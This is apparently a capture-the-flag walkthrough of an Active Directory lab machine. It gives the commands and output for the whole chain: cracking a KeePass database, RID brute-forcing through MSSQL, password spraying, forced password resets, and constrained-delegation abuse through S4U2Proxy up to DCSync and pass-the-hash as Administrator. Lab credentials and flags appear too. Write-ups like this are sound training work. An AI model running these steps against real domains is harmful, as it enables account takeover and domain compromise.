Overview

The machine starts by anonymous FTP access that leaks a password-protected KeePass database and a training memo hinting at a weak password pattern, cracking the vault to get credentials for MSSQL Guest access to enumerate domain users via SID/RID brute-forcing, password spraying the leaked KeePass master password to get a foothold as a low-privileged user who has ForceChangePassword over another account to get winrm access to find that user holds SeEnableDelegationPrivilege and GenericAll over a computer object, abusing both to configure constrained delegation and impersonate the domain controller's machine account via S4U2Proxy to get shell as Administrator

Enumeration

Start with nmap scan

this is obviously AD environment

  • FTP with Anonymous login enabled
  • SMB but Guest account is disabled
  • MSSQL running on port 1443
  • domain name is redelgate.vl and the FQDN is dc.redelegate.vl

lets setup the environment

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ echo '10.129.234.50 dc dc.redelegated.vl redelegated.vl' | sudo tee -a /etc/hosts
10.129.234.50 dc dc.redelegate.vl redelegate.vl
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ sudo nxc smb 10.129.234.50 -u '' -p '' --generate-krb5-file /etc/krb5.conf
SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.50 445 DC [+] krb5 conf saved to: /etc/krb5.conf
SMB 10.129.234.50 445 DC [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf
SMB 10.129.234.50 445 DC [+] redelegate.vl\:

FTP

FTP files

the audit files doesn't leak a lot

plaintext
cat CyberAudit.txt
OCTOBER 2024 AUDIT FINDINGS

[!] CyberSecurity Audit findings:

1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs

[*] Remediation steps:

1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS

but the training agenda leaks that this SeasonYear! format of password is weak (probably they've seen it before in the domain)

bash
cat TrainingAgenda.txt
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)

Friday 4th October | 14.30 - 16.30 - 53 attendees
"Don't take the bait" - How to better understand phishing emails and what to do when you see one


Friday 11th October | 15.30 - 17.30 - 61 attendees
"Social Media and their dangers" - What happens to what you post online?


Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password


Friday 25th October | 9.30 - 12.30 - 29 attendees
"What now?" - Consequences of a cyber attack and how to mitigate them

KDBX file

the third file was the KDBX itself and we know it is always password protected (that's the whole point of it) ss_20260619_204438.png

I started cracking using rockyou list but it took a lot of time with no hits so i went back to the format we found earlier

wrote this script to generate a list of all the format starting from 2018 to 2026 (didn't know the box was released 2025)

python
seasons = ["summer", "fall", "spring", "winter"]
years = [2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026]

with open("possible.txt", "w") as p:
    for season in seasons:
        for year in years:
            word = season + str(year) + "!"
            p.write(f"{word}\n")
            print(word)

then generated a list

starting to crack it but it didn't work

so i went back to capitalize the first character of the seasons as it is in the found format

python
seasons = ["summer", "fall", "spring", "winter"]
years = [2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026]

with open("possible.txt", "w") as p:
    for season in seasons:
        for year in years:
            word = season.capitalize() + str(year) + "!"
            p.write(f"{word}\n")
            print(word)

but it also failed

at this point I knew that we have to crack the file and I was sure one of the passwords in the list otherwise why would they leave that note so i went back and redownloaded the file cause the first time i downloaded it, I didn't switch to binary mode

and it cracked as you can see

this is the same password failed (but this is the ASCII version of the file) ss_20260619_212926.png

Same password used but this time on the binary file and it opened ss_20260619_213008.png

just so you can get the point these are 2 different hashes, why this happens ? because in ASCII mode FTP mangles the byte sequence with newline translation meaning the 0x0A0x0D 0x0A which corrupts the binary .kdbx file, so keepass2john generates a hash from a corrupted file that'll never crack

plaintext
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ keepass2john Shared.kdbx | tee keepass.binary.hash
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ cat keepass.*
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca4e19

MSSQL as SQLGuest

ss_20260619_213711.png

so lets login with those credentials

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ mssqlclient.py redelegated.vl/SQLGuest:zDPBpaF4FywlqIv11vii@10.129.234.50
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (SQLGuest guest@master)>

enumerating the Database, all DBs are standard and no impersonation or xp privilege (makes sense we are Guest) we also can't enumerate system files using xp_dirtree but we can leak NTLMv2 hash of whoever runs the mssql client to invoking outbound SMB to our server ss_20260619_214130.png trying to crack this doesn't work

MSSQL can be used to enumerate users, cause there is a way internally for this to happen lets explain it quickly, there is a function called SUSER_SID that takes a principal and returns its SID in hexa format as you can see

shell
SQL (SQLGuest guest@master)> SELECT SUSER_SID('REDELEGATE\Domain Admins')

-----------------------------------------------------------
b'010500000000000515000000a185deefb22433798d8e847a00020000'

so the tools request the SID for a user they are sure it exist, just to get the domain SID and start brute-forcing the RID but if we just can brute the RID how do we get a username back to us, that's because there is another function called SUSER_SNAME() that maps SIDs to usernames so if there is an account linked to that SID it'll be returned

for example this SID 010500000000000515000000a185deefb22433798d8e847a00020000 will be resolved to S-1-5-21-4024337825-2033394866-2055507597-512 so the domain SID is S-1-5-21-4024337825-2033394866-2055507597 now lets try to get the username with the RID 1106 for example the function SUSER_SNAME accepts binary SID so lets convert it

python
import struct

sid_str = "S-1-5-21-4024337825-2033394866-2055507597-1106"
parts = sid_str.split('-')
revision = int(parts[1])
auth = int(parts[2])
sub_auths = [int(x) for x in parts[3:]]

sid_bytes = struct.pack('<BB', revision, len(sub_auths))
sid_bytes += struct.pack('>Q', auth)[2:]  # 6-byte authority, big-endian
for sa in sub_auths:
    sid_bytes += struct.pack('<I', sa)  # little-endian sub-authorities

print('0x' + sid_bytes.hex())

so running this script gives us this 0x010500000000000515000000a185deefb22433798d8e847a52040000 lets use this to know which user mapped to this

shell
SQL (SQLGuest guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847a52040000)

----------------------
REDELEGATE\Helen.Frost

and it is the user Helen.Frost as you can see

back to the box lets get a list of users but automatically

User Marie.Curie

got this list of users and password sprayed them against each password in the DB but no hits, so i went back to the original password and we got a user

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ nxc smb 10.129.234.50 -u usernames.txt -p 'Fall2024!'
SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.50 445 DC [-] redelegate.vl\DC$:Fall2024! STATUS_LOGON_FAILURE
SMB 10.129.234.50 445 DC [-] redelegate.vl\FS01$:Fall2024! STATUS_LOGON_FAILURE
SMB 10.129.234.50 445 DC [-] redelegate.vl\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE
                                                                      SMB 10.129.234.50 445 DC [+] redelegate.vl\Marie.Curie:Fall2024!

the user got no shares though

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
                                                                                                                               └──╼ [★]$ nxc smb 10.129.234.50 -u Marie.Curie -p 'Fall2024!' --shares
SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.50 445 DC [+] redelegate.vl\Marie.Curie:Fall2024!
SMB 10.129.234.50 445 DC [*] Enumerated shares
SMB 10.129.234.50 445 DC Share Permissions Remark
SMB 10.129.234.50 445 DC ----- ----------- ------
SMB 10.129.234.50 445 DC ADMIN$ Remote Admin
SMB 10.129.234.50 445 DC C$ Default share
SMB 10.129.234.50 445 DC IPC$ READ Remote IPC
SMB 10.129.234.50 445 DC NETLOGON READ Logon server share
SMB 10.129.234.50 445 DC SYSVOL READ Logon server share

lets get a bloodhound data

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ rusthound -d redelegate.vl -i 10.129.234.50 -u Marie.Curie -p 'Fall2024!' -z
---------------------------------------------------
Initializing RustHound at 22:20:18 on 06/19/26
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2026-06-20T05:20:18Z INFO  rusthound] Verbosity level: Info
[2026-06-20T05:20:19Z INFO  rusthound::ldap] Connected to REDELEGATE.VL Active Directory!
[2026-06-20T05:20:19Z INFO  rusthound::ldap] Starting data collection...
[2026-06-20T05:20:20Z INFO  rusthound::ldap] All data collected for NamingContext DC=redelegate,DC=vl
[2026-06-20T05:20:20Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2026-06-20T05:20:21Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2026-06-20T05:20:21Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2026-06-20T05:20:21Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2026-06-20T05:20:21Z INFO  rusthound::json::maker] 12 users parsed!
[2026-06-20T05:20:21Z INFO  rusthound::json::maker] 64 groups parsed!
[2026-06-20T05:20:21Z INFO  rusthound::json::maker] 2 computers parsed!
[2026-06-20T05:20:21Z INFO  rusthound::json::maker] 1 ous parsed!
[2026-06-20T05:20:21Z INFO  rusthound::json::maker] 1 domains parsed!
[2026-06-20T05:20:21Z INFO  rusthound::json::maker] 2 gpos parsed!
[2026-06-20T05:20:21Z INFO  rusthound::json::maker] 21 containers parsed!
[2026-06-20T05:20:21Z INFO  rusthound::json::maker] .//20260619222021_redelegate-vl_rusthound.zip created!

RustHound Enumeration Completed at 22:20:21 on 06/19/26! Happy Graphing!

Looking at the data we got a nice chain here Pasted image 20260620091848.png

Shell as Helen.Frost

lets first change the password of Helen

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ bloodyAD -d redelegate.vl --host 10.129.234.50 -u Marie.Curie -p 'Fall2024!' set password Helen.Frost 'Password123!'
[+] Password changed successfully!

Helen is part of Remote Management Users Pasted image 20260620092014.png

so lets WINRM

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ evil-winrm -i 10.129.234.50 -u helen.frost -p 'Password123!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> type ..\Desktop\user.txt
f4f1948b5b181b7bed110ecff02a762d
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents>

Shell as Administrator

looking at the privilege for Helen

plaintext
*Evil-WinRM* PS C:\Users\Helen.Frost> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled

we got this SeEnableDelegationPrivilege enabled for us

Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user right" to a user. The SeEnableDelegationPrivilege "user right" enables computer and user accounts to be trusted for delegation. Attackers can abuse this right to compromise Active Directory accounts and elevate their privileges.

and Helen Can't Add any computer account cause its machine account quote is exceeded but we don't need to cause remember we got Generic All over the FS01 machine account so we can just take over it

so lets abuse that Privilege with the Generic All first set the machine account to be trusted to delegation and add the ldap/dc.redelegate.vl to the allowed to delegate to service list on that computer object

bash
*Evil-WinRM* PS C:\Users> Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
*Evil-WinRM* PS C:\Users> Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}

then lets reset the password abusing the Generic All

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ bloodyAD -d redelegate.vl --host 10.129.234.50 -u Helen.Frost -p 'Password123!' set password FS01$ 'Password123!'
[+] Password changed successfully!

now lets impersonate the dc machine account

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ getST.py 'redelegate.vl/FS01$:Password123!' -spn ldap/dc.redelegate.vl -impersonate dc
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache

the DC machine account can DCSync so lets dump the domain hashes

login with the administrator Hash

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ evil-winrm -i 10.129.234.50 -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7


Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../desktop/root.txt
6231d409a0c5f2413e35e83cfac8d6f5
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Beyond Root

just so you know, the user Marie.Curnie got 6 out of bound objects but the only one that was worth looking for is Helen Pasted image 20260620092859.png why not impersonate administrator directly ? Since Windows Server 2012 R2+, privileged accounts (Domain Admins, Administrator, etc.) are automatically protected from being used as the target of constrained delegation impersonation. Specifically, the Administrator account typically has the not-delegated flag set (userAccountControl includes NOT_DELEGATED), or may be a member of the Protected Users group. Either of these tells the KDC: "never issue a delegated/forwarded ticket impersonating this account, even via S4U2Proxy", it's a hardening measure specifically designed to block this exact attack technique. and if we try it we'll get this error

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ getST.py 'redelegate.vl/FS01$:Password123!' -spn ldap/dc.redelegate.vl -impersonate Administrator
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user FS01$ or initial TGT not forwardable

I also wanted to try some silver ticket stuff here but I don't have the time right now. so maybe in the future I will come back and see how far can i go if i took the silver ticket path on the MSSQL part but i don't think we can go far though cause the furthest we can go is to find an account that can enable xp_cmdshell on the DB and then get a shell but this shell will be as sqlsvc even if we are connecting to the DB as administrator this sqlsvc account got literally nothing over any object, so maybe it could've helped to run SharpHound to know which user to target before starting to dump usernames and password spraying

Resource